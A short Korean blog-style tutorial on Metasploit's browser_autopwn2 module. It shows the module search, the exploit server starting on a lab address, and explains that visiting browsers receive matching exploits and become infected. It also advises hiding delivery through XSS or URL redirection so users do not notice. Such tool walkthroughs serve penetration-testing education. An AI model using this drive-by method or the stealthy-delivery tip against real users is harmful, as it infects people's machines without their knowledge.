Autopwn을 이용한 Browser attack


autopwn은 웹/모바일 브라우저를 대상으로 여러 Exploit 을 체크하고 실행해주는 모듈입니다.


HAHWUL exploit(handler) > search autopwn

Matching Modules
================

   Name                               Disclosure Date  Rank    Description
   ----                               ---------------  ----    -----------

   auxiliary/server/browser_autopwn2  2015-07-05       normal  HTTP Client Automatic Exploiter 2 (Browser Autopwn)


그냥 autopwn과 autopwn2는 뭐 크게 차이는 없지만.. 그래도 최신이 좋을겁니다.

[+] Please use the following URL for the browser attack:
[+] BrowserAutoPwn URL: http:// 192.168.56.101:4242/
[*] Server started.

다른 일반 사용자가 웹 브라우저를 통해 http:// 192.168.56.101:4242 주소 접근 시 각 Browser에 맞는 Exploit 코드를 로드하여 사용자를 감염시킵니다.
물론 이 과정은 눈에 띄기 때문에 실제론 XSS나 URL Redirection 등을 이용해서 사용자가 인지하기 어려운 순간에 감염시키게 되죠.
